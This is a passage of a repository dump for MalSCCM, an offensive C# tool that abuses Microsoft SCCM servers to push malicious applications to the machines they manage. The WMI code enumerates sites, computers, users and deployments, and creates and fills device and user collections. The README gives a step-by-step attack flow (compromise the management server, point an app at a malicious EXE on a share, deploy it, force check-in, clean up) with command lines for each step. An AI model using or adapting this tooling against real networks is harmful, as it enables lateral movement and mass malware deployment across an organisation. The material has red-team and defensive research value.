FbGetSiteScope2()\n {\n try\n {\n var osQuery = new SelectQuery(\"SMS_ProviderLocation\");\n var mgmtScope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\");\n mgmtScope.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(mgmtScope, osQuery);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var siteCode = result.GetPropertyValue(\"SiteCode\").ToString();\n var localsite = result.GetPropertyValue(\"ProviderForLocalSite\").ToString();\n\n if (!string.IsNullOrEmpty(siteCode))\n {\n Console.WriteLine(\"SiteCode: \" + siteCode);\n\n Inspect.SiteCode = siteCode;\n\n return true;\n }\n }\n return false;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSiteScope2.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSiteScope3()\n {\n try\n {\n const string keyName = @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SMS\\Mobile Client\";\n string assignedsitecode = (string)Registry.GetValue(keyName, \"AssignedSiteCode\", \"No assigned site found, is this machine managed by SCCM?\");\n\n Console.WriteLine(\"SiteCode: \" + assignedsitecode);\n Inspect.SiteCode = assignedsitecode;\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSiteScope3.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMComputer()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_R_System\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var CompName = result.GetPropertyValue(\"Name\").ToString();\n\n if (!string.IsNullOrEmpty(CompName))\n {\n Console.WriteLine(\"Computer: \" + CompName);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMComputer.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMADForest()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_ADForest\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var Forest = result.GetPropertyValue(\"Description\").ToString();\n\n if (!string.IsNullOrEmpty(Forest))\n {\n Console.WriteLine(\"Forest: \" + Forest);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMADForest.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMApplication()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_Application\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var DisplayName = result.GetPropertyValue(\"LocalizedDisplayName\").ToString();\n\n if (!string.IsNullOrEmpty(DisplayName))\n {\n Console.WriteLine(\"Application Name: \" + DisplayName);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMApplication.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMPackage()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_Package\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var Source = result.GetPropertyValue(\"PkgSourcePath\").ToString();\n\n if (!string.IsNullOrEmpty(Source))\n {\n Console.WriteLine(\"Package Source: \" + Source);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMPackage.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMCollection()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_Collection\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var Name = result.GetPropertyValue(\"Name\").ToString();\n var Count = result.GetPropertyValue(\"MemberCount\").ToString();\n\n if (!string.IsNullOrEmpty(Name))\n {\n Console.WriteLine(\"Group: \" + Name);\n }\n if (!string.IsNullOrEmpty(Count))\n {\n Console.WriteLine(\"Member Count: \" + Count);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n\n public static bool FbGetSCCMPrimaryUser()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_UserMachineRelationship\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var ResourceName = result.GetPropertyValue(\"ResourceName\").ToString();\n var UniqueUserName = result.GetPropertyValue(\"UniqueUserName\").ToString();\n\n if (!string.IsNullOrEmpty(ResourceName))\n {\n Console.WriteLine(\"Computer: \" + ResourceName);\n }\n if (!string.IsNullOrEmpty(UniqueUserName))\n {\n Console.WriteLine(\"User: \" + UniqueUserName);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMPrimaryUser.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMDeployments()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_ApplicationAssignment\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_{Inspect.SiteCode}\");\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var AppName = result.GetPropertyValue(\"ApplicationName\").ToString();\n var AssignmentName = result.GetPropertyValue(\"AssignmentName\").ToString();\n\n if (!string.IsNullOrEmpty(AppName))\n {\n Console.WriteLine(\"ApplicationName: \" + AppName);\n }\n if (!string.IsNullOrEmpty(AssignmentName))\n {\n Console.WriteLine(\"AssignmentName: \" + AssignmentName);\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMDeployments.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetSCCMPrimaryServerRegKey()\n {\n try\n {\n const string keyName = @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SMS\\DP\";\n string mgmtServer = (string)Registry.GetValue(keyName, \"ManagementPoints\", \"Management key not found, are you an SCCM client?\");\n string siteServer = (string)Registry.GetValue(keyName, \"SiteServer\", \"Key not found, are you on a management server?\");\n\n const string keyNameID = @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SMS\\Identification\";\n string siteServerID = (string)Registry.GetValue(keyNameID, \"Site Server\", \"Key not found, are you on a management server?\");\n\n Console.WriteLine(\"Management Server: {0}\", mgmtServer);\n Console.WriteLine(\"Primary Server: {0}\", siteServer);\n Console.WriteLine(\"Primary Server (alternate reg key): {0}\", siteServerID);\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMPrimaryServerRegKey.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n\n\n}\n" }, { "path": "MalSCCM/lib/Groups.cs", "content": "using System;\nusing System.Management;\nusing MalSCCM.Commands;\n\npublic class Groups\n{\n public static bool FbGetSCCMCollectionID()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_Collection\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode);\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var Name = result.GetPropertyValue(\"Name\").ToString();\n \n if (Name == \"All Systems\")\n {\n var ID = result.GetPropertyValue(\"CollectionID\").ToString();\n Console.WriteLine(\"SystemCollectionID: \" + ID);\n Group.SystemCollectionID = ID;\n }\n if (Name == \"All Users\")\n {\n var ID = result.GetPropertyValue(\"CollectionID\").ToString();\n Console.WriteLine(\"UserCollectionID: \" + ID);\n Group.UserCollectionID = ID;\n }\n\n if (Name == Group.GroupName)\n {\n var ID = result.GetPropertyValue(\"CollectionID\").ToString();\n Console.WriteLine(\"TargetGroupID: \" + ID);\n Group.TargetCollectionID = ID;\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMCollectionID.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbNewSCCMCollection()\n {\n try\n {\n ManagementClass Class = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode + \":SMS_Collection\");\n ManagementObject newInstance = Class.CreateInstance();\n\n newInstance[\"Name\"] = Group.GroupName;\n newInstance[\"OwnedByThisSite\"] = \"True\";\n\n if (Group.GroupType == \"user\")\n {\n Console.WriteLine(\"Setting up user group type\");\n newInstance[\"LimitToCollectionID\"] = Group.UserCollectionID;\n newInstance[\"CollectionType\"] = 1;\n }\n\n if (Group.GroupType == \"device\")\n {\n Console.WriteLine(\"Setting up device group type\");\n newInstance[\"LimitToCollectionID\"] = Group.SystemCollectionID;\n newInstance[\"CollectionType\"] = 2;\n }\n\n Console.WriteLine(\"Commiting instance\");\n newInstance.Put(); //to commit the new instance.\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbNewSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbRemoveSCCMCollection()\n {\n try\n {\n ManagementObject objHostSetting = new ManagementObject();\n objHostSetting.Scope = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode);\n\n //define lookup query \n string strQuery = @\"SMS_Collection.CollectionID='\" + Group.TargetCollectionID + \"'\";\n objHostSetting.Path = new ManagementPath(strQuery);\n\n //delete the Managementobject \n objHostSetting.Delete();\n\n Console.WriteLine(\"Group has been deleted successfully\");\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbRemoveSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbGetUserResourceID()\n {\n try\n {\n var Query = new SelectQuery(\"SMS_R_User\");\n var SCCMNamespace = new ManagementScope($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode);\n SCCMNamespace.Connect();\n var mgmtSrchr = new ManagementObjectSearcher(SCCMNamespace, Query);\n\n foreach (var result in mgmtSrchr.Get())\n {\n var Name = result.GetPropertyValue(\"UniqueUserName\").ToString();\n\n if (Name == Group.UserName)\n {\n var ID = result.GetPropertyValue(\"ResourceID\").ToString();\n Console.WriteLine(\"Resource: \" + ID);\n Group.ResourceID = ID;\n }\n }\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbGetSCCMCollectionID.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbAddUserToSCCMCollection()\n {\n try\n {\n ManagementClass collQuery = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode, \"SMS_CollectionRuleQuery\", null);\n ManagementObject collQueryInstance = collQuery.CreateInstance();\n\n collQueryInstance[\"QueryExpression\"] = \"Select * from SMS_R_User Where UniqueUserName='\" + Group.UserName + \"'\";\n collQueryInstance[\"RuleName\"] = \"Members of collection\";\n\n ManagementObject collInstance = new ManagementObject($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode + \":SMS_Collection.CollectionID='\" + Group.TargetCollectionID + \"'\");\n ManagementBaseObject inParams = collInstance.GetMethodParameters(\"AddMembershipRule\");\n\n Console.WriteLine(\"Commiting instance\");\n\n inParams.SetPropertyValue(\"collectionRule\", collQueryInstance);\n\n ManagementBaseObject outParams = collInstance.InvokeMethod(\"AddMembershipRule\", inParams, null);\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbAddUserToSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n // To Do\n public static bool FbRemoveUserFromSCCMCollection()\n {\n try\n {\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbRemoveUserFromSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n public static bool FbAddDeviceToSCCMCollection()\n {\n try\n {\n ManagementClass collQuery = new ManagementClass($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode, \"SMS_CollectionRuleQuery\", null);\n ManagementObject collQueryInstance = collQuery.CreateInstance();\n\n collQueryInstance[\"QueryExpression\"] = \"Select * from SMS_R_System Where Name='\" + Group.DeviceName + \"'\";\n collQueryInstance[\"RuleName\"] = \"Members of collection\";\n\n ManagementObject collInstance = new ManagementObject($\"\\\\\\\\{Inspect.ServerName}\\\\root\\\\sms\\\\site_\" + Inspect.SiteCode + \":SMS_Collection.CollectionID='\" + Group.TargetCollectionID + \"'\");\n ManagementBaseObject inParams = collInstance.GetMethodParameters(\"AddMembershipRule\");\n\n Console.WriteLine(\"Commiting instance\");\n\n inParams.SetPropertyValue(\"collectionRule\", collQueryInstance);\n\n ManagementBaseObject outParams = collInstance.InvokeMethod(\"AddMembershipRule\", inParams, null);\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbAddDeviceToSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n // To Do\n public static bool FbRemoveDeviceFromSCCMCollection()\n {\n try\n {\n\n return true;\n }\n catch (Exception e)\n {\n Console.WriteLine(\"\\r\\nFunction error - FbRemoveDeviceFromSCCMCollection.\");\n var stdErr = Console.Error;\n stdErr.WriteLine($\"Error Message: {e.Message}\");\n return false;\n }\n }\n}\n" }, { "path": "MalSCCM.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.31410.357\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"MalSCCM\", \"MalSCCM\\MalSCCM.csproj\", \"{5439CECD-3BB3-4807-B33F-E4C299B71CA2}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{5439CECD-3BB3-4807-B33F-E4C299B71CA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{5439CECD-3BB3-4807-B33F-E4C299B71CA2}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{5439CECD-3BB3-4807-B33F-E4C299B71CA2}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{5439CECD-3BB3-4807-B33F-E4C299B71CA2}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {65372B47-6CC9-44C1-BB14-E26E7D124981}\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "README.md", "content": "# MalSCCM\n\nThis tool allows you to abuse local or remote SCCM servers to deploy malicious applications to hosts they manage. To use this tool your current process must have admin rights over the SCCM server.\n\nTypically deployments of SCCM will either have the management server and the primary server on the same host, in which case the host returned from the locate command can be used as the primary server.\n\nIf that is not the case you will need to compromise the management host returned with locate so that you can then run locate again on that host and get the primary server hostname. Once you have that and admin access you are good to go! \n\n# Blog\n\nFor more information on usage of the tool, refer to the blog below.\n\n* https://labs.nettitude.com/blog/introducing-malsccm/\n\n# Credits \n\nMassive credit to PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which this is all based off, this would not have been done without the work of @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation. \n\n# Attack Flow \n\n* Compromise client, use locate to find management server \n* Compromise management server, use locate to find primary server\n* use Inspect on primary server to view who you can target\n* Create a new device group for the machines you want to laterally move too\n* Add your targets into the new group \n* Create an application pointing to a malicious EXE on a world readable share \n* Deploy the application to the target group \n* Force the target group to checkin for updates \n* Profit...\n* Cleanup the application and deployment\n* Delete the group\n\n# Help menu \n\n```\nCommands listed below have optional parameters in <>. \n\nAttempt to find the SCCM management and primary servers:\n MalSCCM.exe locate\n\nInspect the primary server to gather SCCM information:\n MalSCCM.exe inspect \n\nCreate/Modify/Delete Groups to add targets in for deploying malicious apps. Groups can either be for devices or users:\n MalSCCM.exe group /create /groupname:example /grouptype:[user|device] \n MalSCCM.exe group /delete /groupname:example \n MalSCCM.exe group /addhost /groupname:example /host:examplehost \n MalSCCM.exe group /adduser /groupname:example /user:exampleuser \n\nCreate/Deploy/Delete malicious applications:\n MalSCCM.exe app /create /name:appname /uncpath:\"\"\\\\unc\\path\"\" \n MalSCCM.exe app /delete /name:appname \n MalSCCM.exe app /deploy /name:appname /groupname:example /assignmentname:example2 \n MalSCCM.exe app /deletedeploy /name:appname \n MalSCCM.exe app /cleanup /name:appname \n\nForce devices of a group to checkin within a couple minutes:\n MalSCCM.exe checkin /groupname:example \n```" } ]